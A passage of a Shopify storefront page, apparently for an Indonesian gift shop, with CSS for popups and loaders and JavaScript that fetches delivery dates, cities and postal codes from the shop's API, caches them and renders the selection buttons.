8453    border-color: #2563eb;
8454  }
8455
8456  @media (max-width: 768px) {
8457    .image-editor-popup {
8458      padding: 10px;
8459    }
8460    
8461    .image-editor-modal {
8462      max-width: calc(100vw - 20px);
8463      max-height: calc(100vh - 20px);
8464      width: 100%;
8465      height: auto;
8466      min-height: 80vh;
8467    }
8468
8469    .image-editor-content {
8470      flex-direction: column;
8471    }
8472
8473    .image-editor-controls {
8474      width: 100%;
8475      border-left: none;
8476      border-top: 1px solid #e5e7eb;
8477      max-height: 200px;
8478    }
8479
8480    .image-editor-canvas {
8481      min-height: 300px;
8482    }
8483  }
8484
8485  .steps-card-preview.loading-upload {
8486    position: relative;
8487    pointer-events: none;
8488    opacity: 0.7;
8489  }
8490
8491  .steps-card-preview.loading-upload::after {
8492    content: '';
8493    position: absolute;
8494    top: 0;
8495    left: 0;
8496    right: 0;
8497    bottom: 0;
8498    background: rgba(255, 255, 255, 0.8);
8499    border-radius: inherit;
8500    z-index: 1;
8501  }
8502
8503  .ajax-loader {
8504    position: absolute;
8505    top: 50%;
8506    left: 50%;
8507    transform: translate(-50%, -50%);
8508    z-index: 2;
8509    width: 40px;
8510    height: 40px;
8511    border: 4px solid #f3f3f3;
8512    border-top: 4px solid #3498db;
8513    border-radius: 50%;
8514    animation: spin 1s linear infinite;
8515    display: none;
8516  }
8517
8518  .image-editor-popup {
8519    opacity: 0;
8520    visibility: hidden;
8521    transition: opacity 0.3s ease, visibility 0.3s ease;
8522    display: flex !important;
8523  }
8524
8525  .image-editor-popup.show {
8526    opacity: 1;
8527    visibility: visible;
8528  }
8529
8530  .image-editor-modal {
8531    transform: translateY(-20px) scale(0.9);
8532    transition: transform 0.3s ease;
8533  }
8534
8535  .image-editor-popup.show .image-editor-modal {
8536    transform: translateY(0) scale(1);
8537  }
8538
8539  @keyframes spin {
8540    0% { transform: translate(-50%, -50%) rotate(0deg); }
8541    100% { transform: translate(-50%, -50%) rotate(360deg); }
8542  }
8543
8544  .skeleton-date-loader {
8545    display: flex;
8546    gap: 8px;
8547    flex-wrap: wrap;
8548  }
8549
8550  .skeleton-date-button {
8551    width: calc(14.285% - 7px);
8552    min-width: 40px;
8553    height: 40px;
8554    background: #f5f5f5;
8555    border: 1px solid #e0e0e0;
8556    border-radius: 50%;
8557    position: relative;
8558    overflow: hidden;
8559    display: flex;
8560    flex-direction: column;
8561    align-items: center;
8562    justify-content: center;
8563    gap: 4px;
8564  }
8565
8566  .skeleton-date-button::before {
8567    content: '';
8568    position: absolute;
8569    top: 0;
8570    left: -100%;
8571    width: 100%;
8572    height: 100%;
8573    background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.6), transparent);
8574    animation: skeleton-shimmer 1.5s ease-in-out infinite;
8575  }
8576
8577  .skeleton-date-text {
8578    width: 30px;
8579    height: 10px;
8580    background: #e0e0e0;
8581    border-radius: 4px;
8582  }
8583
8584  .skeleton-date-number {
8585    width: 20px;
8586    height: 14px;
8587    background: #d0d0d0;
8588    border-radius: 4px;
8589  }
8590
8591  @keyframes skeleton-shimmer {
8592    0% {
8593      left: -100%;
8594    }
8595    100% {
8596      left: 100%;
8597    }
8598  }
8599
8600  @media (max-width: 768px) {
8601    .skeleton-date-button {
8602      width: calc(16.666% - 7px);
8603      min-width: 40px;
8604      height: 40px;
8605    }
8606  }
8607
8608  @media (max-width: 480px) {
8609    .skeleton-date-button {
8610      width: calc(20% - 7px);
8611      min-width: 40px;
8612      height: 40px;
8613    }
8614    
8615    .skeleton-date-text {
8616      width: 25px;
8617      height: 8px;
8618    }
8619    
8620    .skeleton-date-number {
8621      width: 18px;
8622      height: 12px;
8623    }
8624  }
8625
8626  .ocr-address-popup {
8627    position: fixed;
8628    top: 0;
8629    left: 0;
8630    width: 100vw;
8631    height: 100vh;
8632    z-index: 9998;
8633    display: none;
8634    align-items: center;
8635    justify-content: center;
8636    padding: 20px;
8637    box-sizing: border-box;
8638  }
8639
8640  .ocr-address-popup.show {
8641    display: flex;
8642  }
8643
8644  .ocr-popup-overlay {
8645    position: absolute;
8646    top: 0;
8647    left: 0;
8648    width: 100%;
8649    height: 100%;
8650    background: rgba(0, 0, 0, 0.6);
8651    backdrop-filter: blur(2px);
8652    cursor: pointer;
8653  }
8654
8655  .ocr-popup-content {
8656    position: relative;
8657    background: white;
8658    border-radius: 12px;
8659    box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3);
8660    max-width: 600px;
8661    max-height: 80vh;
8662    width: 100%;
8663    overflow: hidden;
8664    display: flex;
8665    flex-direction: column;
8666  }
8667
8668  .ocr-popup-header {
8669    display: flex;
8670    justify-content: space-between;
8671    align-items: center;
8672    padding: 20px 24px;
8673    border-bottom: 1px solid #e5e7eb;
8674    background: #f9fafb;
8675  }
8676
8677  .ocr-popup-header h3 {
8678    margin: 0;
8679    font-size: 18px;
8680    font-weight: 600;
8681    color: #1f2937;
8682  }
8683
8684  .close-ocr-popup {
8685    background: none;
8686    border: none;
8687    font-size: 28px;
8688    color: #6b7280;
8689    cursor: pointer;
8690    padding: 0;
8691    width: 32px;
8692    height: 32px;
8693    display: flex;
8694    align-items: center;
8695    justify-content: center;
8696    transition: color 0.2s;
8697  }
8698
8699  .close-ocr-popup:hover {
8700    color: #1f2937;
8701  }
8702
8703  .ocr-popup-body {
8704    overflow-y: auto;
8705    padding: 20px;
8706    flex: 1;
8707  }
8708
8709  .ocr-address-options {
8710    display: flex;
8711    flex-direction: column;
8712    gap: 12px;
8713  }
8714
8715  .ocr-address-option {
8716    padding: 16px;
8717    border: 2px solid #e5e7eb;
8718    border-radius: 8px;
8719    cursor: pointer;
8720    transition: all 0.2s;
8721    background: white;
8722  }
8723
8724  .ocr-address-option:hover {
8725    border-color: #3b82f6;
8726    background: #f0f4ff;
8727    box-shadow: 0 2px 8px rgba(59, 130, 246, 0.1);
8728  }
8729
8730  .ocr-address-option.selected {
8731    border-color: #3b82f6;
8732    background: #eff6ff;
8733  }
8734
8735  .address-content {
8736    display: flex;
8737    flex-direction: column;
8738    gap: 4px;
8739  }
8740
8741  .address-text {
8742    margin: 0;
8743    font-size: 15px;
8744    font-weight: 500;
8745    color: #1f2937;
8746    line-height: 1.4;
8747  }
8748
8749  .address-details {
8750    margin: 0;
8751    font-size: 13px;
8752    color: #6b7280;
8753  }
8754
8755  body.ocr-popup-open {
8756    overflow: hidden;
8757  }
8758
8759  @media (max-width: 768px) {
8760    .ocr-popup-content {
8761      max-width: calc(100vw - 40px);
8762      max-height: 85vh;
8763    }
8764
8765    .ocr-popup-header h3 {
8766      font-size: 16px;
8767    }
8768
8769    .address-text {
8770      font-size: 14px;
8771    }
8772  }
8773</style>
8774
8775<script>
8776  CartJS.init({"note":null,"attributes":{},"original_total_price":0,"total_price":0,"total_discount":0,"total_weight":0.0,"item_count":0,"items":[],"requires_shipping":false,"currency":"IDR","items_subtotal_price":0,"cart_level_discount_applications":[],"checkout_charge_amount":0});
8777
8778  const productType = $("[data-product-type]").data("product-type")
8779  const productDate = Date.parse(new Date())
8780  
8781  const shop = 'outerbloom1.myshopify.com'
8782  const host = 'https://app.asmaraku.com'
8783  // const host = 'https://d8fe-103-3-220-56.ngrok-free.app'
8784
8785  const gsheet = "https://script.google.com/macros/s/AKfycbyqa6mPD6lVjU6hiHr12J8URZ2aJBGyxBsGQ0QtEIDari-rBk_9vSOITjSSmUXL1NwxEg/exec"
8786  
8787  const qrID = "230226" + randomString(4, 'aAbCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ')
8788
8789  $("#properties-time").val(new Date().getTime())
8790
8791  const isIOS = /iPhone|iPad|iPod/i.test(navigator.userAgent);
8792
8793  if(!isIOS) {
8794    $("#full-date").attr("type", "button")
8795  }
8796  
8797  // Shipping Analytics Tracker
8798  class ShippingAnalytics {
8799    constructor() {
8800      this.endpoint = host + '/api/track-shipping';
8801      this.userId = '';
8802      this.userIp = document.body.getAttribute('data-ip') || 'unknown';
8803      this.shop = '';
8804    }
8805
8806    async track(action, metadata = {}) {
8807      try {
8808        const payload = {
8809          endpoint: action,
8810          metadata: {
8811            userIp: this.userIp,
8812            shop: this.shop,
8813            timestamp: new Date().toISOString(),
8814            userAgent: navigator.userAgent,
8815            url: window.location.href,
8816            ...metadata
8817          }
8818        };
8819
8820        const response = await fetch(this.endpoint, {
8821          method: 'POST',
8822          headers: {
8823            'Content-Type': 'application/json'
8824          },
8825          body: JSON.stringify(payload)
8826        });
8827
8828        if (!response.ok) {
8829          console.warn('Analytics tracking failed:', response.status);
8830        }
8831      } catch (error) {
8832        console.error('Analytics error:', error);
8833        // Fail silently, tidak block user flow
8834      }
8835    }
8836  }
8837
8838  // Initialize
8839  const analytics = new ShippingAnalytics();
8840
8841  let dateTime = new Date();
8842  let today = dateTime.getDate();
8843  let day = dateTime.getDay();
8844  let hour = dateTime.getHours();
8845  let min = dateTime.getMinutes();
8846  let timeOfDay = hour + (min / 100);
8847
8848  async function getFetch(url) {
8849    const response = await fetch(url);
8850    let status = false
8851    let result
8852    if(response.ok) {
8853      status = true
8854      result = await response.json();
8855    }
8856    return {
8857      status,
8858      data: result
8859    }
8860  }
8861
8862  function setCookie(cname, cvalue, exMins) {
8863    var d = new Date();
8864    d.setTime(d.getTime() + (exMins*60*1000));
8865    var expires = "expires="+d.toUTCString();  
8866    document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
8867  }
8868
8869  function getCookie(cname) {
8870    let name = cname + "=";
8871    let decodedCookie = decodeURIComponent(document.cookie);
8872    let ca = decodedCookie.split(';');
8873    for(let i = 0; i <ca.length; i++) {
8874      let c = ca[i];
8875      while (c.charAt(0) == ' ') {
8876        c = c.substring(1);
8877      }
8878      if (c.indexOf(name) == 0) {
8879        return c.substring(name.length, c.length);
8880      }
8881    }
8882    return "";
8883  }
8884
8885  // Initialize rupiah formatter before it's used in renderAddress
8886  let rupiah = new Intl.NumberFormat('id-ID', {
8887    style: 'currency',
8888    currency: 'IDR',
8889    maximumFractionDigits: 0, 
8890    minimumFractionDigits: 0
8891  });
8892
8893  // Helper functions for localStorage (1 day storage)
8894  function getStorageKey(type, city = '') {
8895    const productId = '7881418965207';
8896    if (type === 'date') {
8897      // For date, only use product ID (no city)
8898      return `delivery_${type}_${productId}`;
8899    }
8900    // For other types (zip), use city
8901    return `delivery_${type}_${productId}_${city}`;
8902  }
8903
8904  function saveToStorage(key, data) {
8905    try {
8906      const item = {
8907        data: data,
8908        savedAt: new Date().getTime()
8909      };
8910      localStorage.setItem(key, JSON.stringify(item));
8911    } catch (e) {
8912      console.error('Error saving to localStorage:', e);
8913    }
8914  }
8915
8916  function getFromStorage(key) {
8917    try {
8918      const itemStr = localStorage.getItem(key);
8919      if (!itemStr) {
8920        return null;
8921      }
8922      const item = JSON.parse(itemStr);
8923      const now = new Date().getTime();
8924      const oneHour = 60 * 60 * 1000; // 1 hour in milliseconds
8925      
8926      // Check if data is older than 1 hour
8927      if (now - item.savedAt > oneHour) {
8928        localStorage.removeItem(key);
8929        return null;
8930      }
8931      return item.data;
8932    } catch (e) {
8933      console.error('Error reading from localStorage:', e);
8934      return null;
8935    }
8936  }
8937
8938  async function renderDate(city) {
8939    const storageKey = getStorageKey('date');
8940    const storedData = getFromStorage(storageKey);
8941    
8942    let data;
8943    if (storedData) {
8944      data = storedData;
8945    } else {
8946      let dataDate = await getFetch(`${host}/api/shipping/date?domain=${shop}&productId=7881418965207&source=web`);
8947      data = dataDate?.data;
8948      
8949      // Save to localStorage (only once per product)
8950      if (data && data.date && data.time) {
8951        saveToStorage(storageKey, data);
8952      }
8953    }
8954    
8955    // Use the helper function to render
8956    if (data && data.date && data.time) {
8957      renderDeliveryDateFromData(data);
8958      
8959      if(productType !== '') {
8960        console.log("clarity event " + productType + ' calendaring')
8961        window.clarity("event", `${productType} calendaringSchedule`)
8962      }
8963    } else {
8964      console.error('Invalid delivery date data');
8965      showDeliveryPlaceholder();
8966    }
8967  }
8968
8969  // Function to get province from city (called on-demand, not on initial render)
8970  async function getProvince(city) {
8971    if (!city || city === '') {
8972      return;
8973    }
8974    
8975    // Check localStorage first
8976    const storageKey = getStorageKey('province', city);
8977    const storedProvince = getFromStorage(storageKey);
8978    
8979    if (storedProvince) {
8980      console.log('Using stored province data for:', city);
8981      $("#province").val(storedProvince);
8982      return storedProvince;
8983    }
8984    
8985    // Fetch from API if not in localStorage
8986    console.log('Fetching province data from API for:', city);
8987    let { data: { province } } = await getFetch(`${host}/api/shipping/address/province?city=${city}&source=web`);
8988    console.log(province, 'province')
8989    $("#province").val(province)
8990    
8991    // Save to localStorage
8992    if (province) {
8993      saveToStorage(storageKey, province);
8994      console.log('Saved province to localStorage for:', city);
8995    }
8996    
8997    return province;
8998  }
8999
9000  async function renderAddress() {
9001    let current
9002    if(getCookie("location_delivery")){
9003      current = getCookie("location_delivery").charAt(0).toUpperCase() + getCookie("location_delivery").slice(1)
9004    }
9005    
9006    const deliveryCity = document.getElementById("cities");
9007    
9008    // Check localStorage first
9009    const cityDataKey = `delivery_city_data_7881418965207`;
9010    const storedCityData = getFromStorage(cityDataKey);
9011    
9012    if (storedCityData && storedCityData.cities && storedCityData.cities.length > 0) {
9013      const allCities = storedCityData.cities;
9014      const data = storedCityData.fullData;
9015      
9016      const htmlAddress = [];
9017      for(let i = 0; i < data?.length; i++) {
9018        if(data[i]){
9019          const price = rupiah.format(data[i]?.rate)
9020          let promo = '(Promo Free Delivery)'
9021          if(data[i]?.name === 'Jakarta - PickUp ASHTA'){
9022            promo = '(at SCBD, Ashta)'
9023          } else if(data[i]?.name === 'Jakarta - PickUp ITC'){
9024            promo = '(at Kuningan, ITC Kuningan)'
9025          } else if(data[i]?.name === 'BSD - PickUp'){
9026            promo = '(at Goldfinch Gading Serpong)'
9027          } else if(data[i]?.name === 'Kota Lainnya'){
9028            promo = ''
9029          }
9030          
9031          htmlAddress.push(`<option data-province="${data[i]?.province}" data-city="${data[i]?.city}" data-note="${data[i]?.note}" data-price="${data[i]?.rate}" value="${data[i]?.name}">${data[i]?.name === 'Kota Lainnya' ? 'Seluruh Kota Lain di Indonesia' : data[i]?.name} ${data[i]?.rate > 0 ? `(${price})` : promo}</option>`)
9032        }
9033      }
9034      
9035      if(deliveryCity) {
9036        deliveryCity.insertAdjacentHTML("beforeend", htmlAddress.join(''))
9037      }
9038      
9039      return storedCityData;
9040    }
9041    
9042    // If no stored data, show skeleton and fetch from API
9043    if(deliveryCity && deliveryCity.options.length === 1) { // Only default option
9044      const skeletonOptions = `
9045        <option disabled>Loading cities...</option>
9046        <option disabled>&#9679;&#9679;&#9679;&#9679;&#9679;&#9679;&#9679;&#9679;&#9679;</option>
9047        <option disabled>&#9679;&#9679;&#9679;&#9679;&#9679;&#9679;&#9679;&#9679;&#9679;</option>
9048        <option disabled>&#9679;&#9679;&#9679;&#9679;&#9679;&#9679;&#9679;&#9679;&#9679;</option>
9049      `;
9050      deliveryCity.insertAdjacentHTML("beforeend", skeletonOptions);
9051    }
9052    
9053    let address = await getFetch(`${host}/api/shipping/address?domain=${shop}&productId=7881418965207&source=web`);
9054    console.log(address)
9055    const data = address?.data?.city
9056    const htmlAddress = []
9057    const grouping = []
9058    const allCities = [] // Store all city names
9059    
9060    for(let i = 0;i < data?.length;i++) {
9061      if(data[i]){
9062        if(data[i]?.group) {
9063          grouping.push(data[i].group)
9064        }
9065        const price = rupiah.format(data[i]?.rate)
9066        let promo = '(Promo Free Delivery)'
9067        if(data[i]?.name === 'Jakarta - PickUp ASHTA'){
9068          promo = '(at SCBD, Ashta)'
9069        } else if(data[i]?.name === 'Jakarta - PickUp ITC'){
9070          promo = '(at Kuningan, ITC Kuningan)'
9071        } else if(data[i]?.name === 'BSD - PickUp'){
9072          promo = '(at Goldfinch Gading Serpong)'
9073        } else if(data[i]?.name === 'Kota Lainnya'){
9074          promo = ''
9075        }
9076        
9077        // Add city name to allCities array
9078        allCities.push(data[i]?.name);
9079        
9080        htmlAddress.push(`<option data-province="${data[i]?.province}" data-city="${data[i]?.city}" data-note="${data[i]?.note}" data-price="${data[i]?.rate}" value="${data[i]?.name}">${data[i]?.name === 'Kota Lainnya' ? 'Seluruh Kota Lain di Indonesia' : data[i]?.name} ${data[i]?.rate > 0 ? `(${price})` : promo}</option>`)
9081      }
9082    }
9083    
9084    if(deliveryCity) {
9085      // Remove skeleton options before adding real options
9086      const skeletonOpts = deliveryCity.querySelectorAll('option[disabled]');
9087      skeletonOpts.forEach(opt => {
9088        if (opt.textContent.includes('Loading') || opt.textContent.includes('●')) {
9089          opt.remove();
9090        }
9091      });
9092      
9093      deliveryCity.insertAdjacentHTML("beforeend", htmlAddress.join(''))
9094    }
9095    
9096    // Save all cities to localStorage for 1 day
9097    const saveCityDataKey = `delivery_city_data_7881418965207`;
9098    const saveCityData = {
9099      cities: allCities,
9100      fullData: data  // Save full data for later use
9101    };
9102    saveToStorage(saveCityDataKey, saveCityData);
9103    console.log('Saved city data:', saveCityData);
9104    
9105    return saveCityData;
9106  }
9107  
9108  // Function to get user city from IP address
9109  async function getUserCityFromIP(availableCities) {
9110    try {
9111      // Try to get location from IP
9112      const ipResponse = await fetch('https://ipapi.co/json/');
9113      const ipData = await ipResponse.json();
9114      const userCity = ipData.city;
9115      
9116      console.log('User city from IP:', userCity);
9117      
9118      // Check if user city exists in available cities
9119      const matchedCity = availableCities.find(city => 
9120        city.toLowerCase().includes(userCity.toLowerCase()) || 
9121        userCity.toLowerCase().includes(city.toLowerCase())
9122      );
9123      
9124      if (matchedCity) {
9125        console.log('Matched city found:', matchedCity);
9126        return matchedCity;
9127      }
9128      
9129      console.log('User city not in available cities');
9130      return "";
9131    } catch (error) {
9132      console.error('Error getting user location:', error);
9133      return "";
9134    }
9135  }
9136
9137  // Function to render zip codes (called on-demand, not on initial render)
9138  async function renderZip(v, v2, v3) {
9139    const deliveryZip = document.getElementById("zip");
9140    if(v === '') {
9141      return
9142    }
9143    
9144    // Check localStorage first
9145    const storageKey = getStorageKey('zip', v);
9146    const storedZip = getFromStorage(storageKey);
9147    
9148    let zip;
9149    if (storedZip) {
9150      console.log('Using stored zip code data for:', v);
9151      zip = storedZip;
9152    } else {
9153      console.log('Fetching zip code data from API for:', v);
9154      let dataZip = await getFetch(`${host}/api/shipping/address/zip?city=${v}&city2=${v2}&city3=${v3}&source=web`);
9155      zip = dataZip?.data?.zip;
9156      console.log(zip)
9157      
9158      // Save to localStorage
9159      if (zip && zip.length > 0) {
9160        saveToStorage(storageKey, zip);
9161      }
9162    }
9163    
9164    let htmlZip = []
9165    for(let i = 0; i < zip?.length;i++) {
9166      htmlZip.push(`<option value="${zip[i]?.postalCode} - ${zip[i]?.subdistrict}">${zip[i]?.postalCode} - ${zip[i]?.subdistrict} - ${zip[i]?.city}</option>`)
9167    }
9168    deliveryZip.insertAdjacentHTML("beforeend", htmlZip.join(''))
9169    
9170    // Initialize Select2 with search for zip code
9171    if(!isIOS) {
9172      setTimeout(() => {
9173        initSelect2('#zip', {
9174          placeholder: 'Postal Code'
9175        });
9176      }, 100);
9177    }
9178  }
9179  
9180  // Add skeleton loader for delivery date
9181  function showDateSkeleton() {
9182    const deliveryDate = document.getElementById("deliveryDate");
9183    if(deliveryDate && deliveryDate.children.length === 0) {
9184      const skeletonHTML = `
9185        <div class="skeleton-date-loader">
9186          <div class="skeleton-date-button">
9187          </div>
9188          <div class="skeleton-date-button">
9189          </div>
9190          <div class="skeleton-date-button">
9191          </div>
9192          <div class="skeleton-date-button">
9193          </div>
9194          <div class="skeleton-date-button">
9195          </div>
9196          <div class="skeleton-date-button">
9197          </div>
9198          <div class="skeleton-date-button">
9199          </div>
9200        </div>
9201      `;
9202      deliveryDate.insertAdjacentHTML("afterbegin", skeletonHTML);
9203    }
9204  }
9205  
9206  // Show static disabled buttons for delivery date and time
9207  function showDeliveryPlaceholder() {
9208    const deliveryDate = document.getElementById("deliveryDate");
9209    const deliveryTime = document.getElementById("deliveryTime");
9210    
9211    if(deliveryDate) {
9212      const staticDates = `
9213        <button class="date-single calendarbutton btn steps-btn col col-3 btn-date-time" disabled title="Please select delivery city first">
9214          Mon<span>--</span>
9215        </button>
9216        <button class="date-single calendarbutton btn steps-btn col col-3 btn-date-time" disabled title="Please select delivery city first">
9217          Tue<span>--</span>
9218        </button>
9219        <button class="date-single calendarbutton btn steps-btn col col-3 btn-date-time" disabled title="Please select delivery city first">
9220          Wed<span>--</span>
9221        </button>
9222        <button class="date-single calendarbutton btn steps-btn col col-3 btn-date-time" disabled title="Please select delivery city first">
9223          Thu<span>--</span>
9224        </button>
9225        <button class="date-single calendarbutton btn steps-btn col col-3 btn-date-time" disabled title="Please select delivery city first">
9226          Fri<span>--</span>
9227        </button>
9228        <button class="date-single calendarbutton btn steps-btn col col-3 btn-date-time" disabled title="Please select delivery city first">
9229          Sat<span>--</span>
9230        </button>
9231      `;
9232      deliveryDate.innerHTML = staticDates;
9233    }
9234    
9235    if(deliveryTime) {
9236      const staticTimes = `
9237        <button class="time-single calendarbutton2 btn steps-btn" disabled title="Please select delivery city first">
9238          Morning<br/>08:00-13:00
9239        </button>
9240        <button class="time-single calendarbutton2 btn steps-btn" disabled title="Please select delivery city first">
9241          Afternoon<br/>13:00-18:00
9242        </button>
9243        <button class="time-single calendarbutton2 btn steps-btn" disabled title="Please select delivery city first">
9244          Evening<br/>17:00-22:00
9245        </button>
9246      `;
9247      deliveryTime.innerHTML = staticTimes;
9248    }
9249  }
9250  
9251  // Helper function to render delivery date and time from data object
9252  function renderDeliveryDateFromData(data) {
9253    const deliveryDate = document.getElementById("deliveryDate");
9254    const deliveryTime = document.getElementById("deliveryTime");
9255    
9256    // Check if at least one element exists
9257    if (!deliveryDate && !deliveryTime) {
9258      console.error('Cannot render delivery date: both deliveryDate and deliveryTime elements are missing');
9259      return false;
9260    }
9261    
9262    // Check if data is valid
9263    if (!data || !data.date || !data.time) {
9264      console.error('Cannot render delivery date: invalid or missing data');
9265      return false;
9266    }
9267    
9268    const date = data.date;
9269    const time = data.time;
9270    const weekday = ["Sun","Mon","Tue","Wed","Thu","Fri","Sat"];
9271    const monthly = ["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];
9272    
9273    // Get today's date in Jakarta timezone (UTC+7)
9274    const todayJakarta = new Date(new Date().toLocaleString("en-US", {timeZone: "Asia/Jakarta"}));
9275    const today = todayJakarta.getDate();
9276    
9277    const htmlDate = [];
9278    for(let i = 0; i < date.length; i++) {
9279      const full = date[i].date;
9280      
9281      // Convert UTC date to Jakarta timezone (UTC+7)
9282      const utcDate = new Date(date[i].date);
9283      const jakartaDateString = utcDate.toLocaleString("en-US", {timeZone: "Asia/Jakarta"});
9284      const jakartaDate = new Date(jakartaDateString);
9285      
9286      const dt = jakartaDate.getDate();
9287      const monthIndex = jakartaDate.getMonth();
9288      const yr = jakartaDate.getFullYear();
9289      const day = weekday[jakartaDate.getDay()];
9290      const mt = monthly[monthIndex];
9291      
9292      const isDate = Boolean(date[i].isEnabled);
9293      const cutoffpagi = date[i].cutoff?.pagi;
9294      const cutoffsiang = date[i].cutoff?.siang;
9295      const cutoffMalam = date[i].cutoff?.malam;
9296
9297      console.log(cutoffMalam, 'cutoffMalam')
9298      
9299      const buttonHTML = `
9300        <button data-id="7881418965207" class="date-single calendarbutton btn steps-btn col col-3 btn-date-time" data-day="${day}" data-fulldate="${full}" data-date="${dt < 10 ? '0' + dt : dt}" data-month="${mt}" data-year="${yr}" data-offpagi="${cutoffpagi}" data-offsiang="${cutoffsiang}" data-offMalam="${cutoffMalam}" ${isDate === true ? '' : 'disabled'}>
9301          ${dt === today ? `Today<span>${dt < 10 ? '0' + dt : dt}</span>` : `${day}<span>${dt < 10 ? '0' + dt : dt}</span>`}
9302        </button>
9303      `;
9304      
9305      htmlDate.push(buttonHTML);
9306    }
9307    
9308    const htmlTime = [];
9309    for(let i = 0; i < time.length; i++) {
9310      const timeText = time[i].text;
9311      const timeTime = time[i].time;
9312      const timeEnabled = time[i].isEnabled;
9313      htmlTime.push(`
9314        <button class="time-single calendarbutton2 btn steps-btn" data-time="${timeText}" ${timeEnabled ? '' : 'disabled'}>${timeText}<br/>${timeTime}</button>
9315      `);
9316    }
9317    
9318    // Render delivery date if element exists
9319    if (deliveryDate) {
9320      deliveryDate.innerHTML = htmlDate.join('');
9321      
9322      // Log all buttons with their disabled status
9323      const buttons = deliveryDate.querySelectorAll('button');
9324      buttons.forEach((btn, idx) => {
9325        console.log(`Button ${idx}: date=${btn.dataset.date}, hasDisabled=${btn.hasAttribute('disabled')}, disabled=${btn.disabled}`);
9326      });
9327      
9328      // Apply pickup date restrictions if pickup mode is active
9329      if (window.applyPickupDateRestrictions === true) {
9330        applyPickupDateRestrictions(deliveryDate);
9331      }
9332    }
9333    
9334    // Render delivery time if element exists
9335    if (deliveryTime) {
9336      deliveryTime.innerHTML = htmlTime.join('');
9337    }
9338    
9339    return true;
9340  }
9341  
9342  // Function to apply pickup date restrictions
9343  function applyPickupDateRestrictions(deliveryDateElement) {
9344    if (!deliveryDateElement) return;
9345    
9346    // Get current time in Jakarta timezone
9347    const now = new Date(new Date().toLocaleString("en-US", {timeZone: "Asia/Jakarta"}));
9348    const currentHour = now.getHours();
9349    const currentMinute = now.getMinutes();
9350    const currentTime = currentHour + (currentMinute / 60); // e.g., 15.5 for 3:30 PM
9351    const currentDate = now.getDate();
9352    
9353    const isAfter3PM = currentTime >= 15.0; // 3 PM = 15:00
9354    
9355    // Check product tags
9356    const isPickupInhouse = false;
9357    const isPickupVendor = false;
9358    
9359    console.log('Applying pickup date restrictions:', {
9360      isPickupInhouse,
9361      isPickupVendor,
9362      currentDate,
9363      currentTime: currentTime.toFixed(2),
9364      isAfter3PM
9365    });
9366    
9367    const dateButtons = deliveryDateElement.querySelectorAll('button.date-single');
9368    
9369    dateButtons.forEach((button, index) => {
9370      const buttonDate = parseInt(button.dataset.date, 10);
9371      
9372      if (isPickupInhouse) {
9373        // For pickup-itcinhouse:
9374        // - Disable today (compare actual date, not index)
9375        // - If after 3 PM, also disable tomorrow (currentDate + 1)
9376        
9377        // Check if this button is today
9378        if (buttonDate === currentDate) {
9379          button.disabled = true;
9380          button.classList.add('stop');
9381          button.title = 'Pickup not available for today';
9382          console.log(`Disabled button ${index} (date ${buttonDate} = today) for pickup-itcinhouse`);
9383        } 
9384        // Check if this button is tomorrow AND it's after 3 PM
9385        else if (buttonDate === currentDate + 1 && isAfter3PM) {
9386          button.disabled = true;
9387          button.classList.add('stop');
9388          button.title = 'Pickup not available (after 3 PM cutoff)';
9389          console.log(`Disabled button ${index} (date ${buttonDate} = tomorrow) for pickup-itcinhouse (after 3 PM)`);
9390        }
9391      } else if (isPickupVendor) {
9392        // For pickup-itcvendor:
9393        // - Disable dates before day 14
9394        // - If today is day 13 and after 3 PM, also disable day 14
9395        if (buttonDate < 14) {
9396          button.disabled = true;
9397          button.classList.add('stop');
9398          button.title = 'Pickup not available before day 14';
9399          console.log(`Disabled button ${index} (date ${buttonDate}) for pickup-itcvendor (before day 14)`);
9400        } else if (buttonDate === 14 && currentDate === 13 && isAfter3PM) {
9401          button.disabled = true;
9402          button.classList.add('stop');
9403          button.title = 'Pickup not available (after 3 PM cutoff on day 13)';
9404          console.log(`Disabled button ${index} (date ${buttonDate}) for pickup-itcvendor (day 13 after 3 PM)`);
9405        }
9406      }
9407    });
9408  }
9409  
9410  // Make function globally accessible
9411  window.applyPickupDateRestrictionsFunction = applyPickupDateRestrictions;
9412
9413  
9414  // Render address first, then fetch and display delivery dates immediately
9415  async function initializeDeliveryOptions() {
9416    try {
9417      // Check if delivery date elements exist on this page
9418      const deliveryDate = document.getElementById("deliveryDate");
9419      const deliveryTime = document.getElementById("deliveryTime");
9420      
9421      // Skip if BOTH elements are missing
9422      if (!deliveryDate && !deliveryTime) {
9423        console.log('Both delivery date and time elements not found, skipping delivery date initialization');
9424        // Still render address for city selection
9425        await renderAddress();
9426        return;
9427      }
9428      
9429      // Log which elements are available
9430      if (!deliveryDate) console.log('deliveryDate element not found, will only render delivery time');
9431      if (!deliveryTime) console.log('deliveryTime element not found, will only render delivery date');
9432      
9433      // Check if there's stored delivery date data for this product FIRST
9434      const dateStorageKey = getStorageKey('date');
9435      const storedDateData = getFromStorage(dateStorageKey);
9436      
9437      if (storedDateData && storedDateData.date && storedDateData.time) {
9438        // If we have stored date data, render it immediately
9439        const rendered = renderDeliveryDateFromData(storedDateData);
9440        if (!rendered) {
9441          console.warn('Failed to render stored delivery date, will try fetching from API');
9442        }
9443      } else {
9444        // No stored data, fetch from API immediately (without waiting for city selection)
9445        console.log('No stored delivery date found, fetching from API immediately...');
9446        
9447        // Show skeleton loader while fetching
9448        showDateSkeleton();
9449        
9450        // Fetch delivery date data from API
9451        try {
9452          const dataDate = await getFetch(`${host}/api/shipping/date?domain=${shop}&productId=7881418965207&source=web`);
9453          console.log('API Response:', dataDate);
9454          
9455          if (dataDate?.data?.date && dataDate?.data?.time) {
9456            // Save to localStorage for next time
9457            saveToStorage(dateStorageKey, dataDate.data);
9458            
9459            // Render the fetched data
9460            const rendered = renderDeliveryDateFromData(dataDate.data);
9461            if (!rendered) {
9462              console.error('Failed to render delivery date from API response');
9463              showDeliveryPlaceholder();
9464            }
9465          } else {
9466            console.error('Invalid delivery date data received from API');
9467            showDeliveryPlaceholder();
9468          }
9469        } catch (error) {
9470          console.error('Error fetching delivery date from API:', error);
9471          showDeliveryPlaceholder();
9472        }
9473      }
9474      
9475      // Render address to load cities (after dates are already showing)
9476      await renderAddress();
9477      
9478      // Province and zip code will be loaded when city is selected (not on initial render)
9479      
9480    } catch (error) {
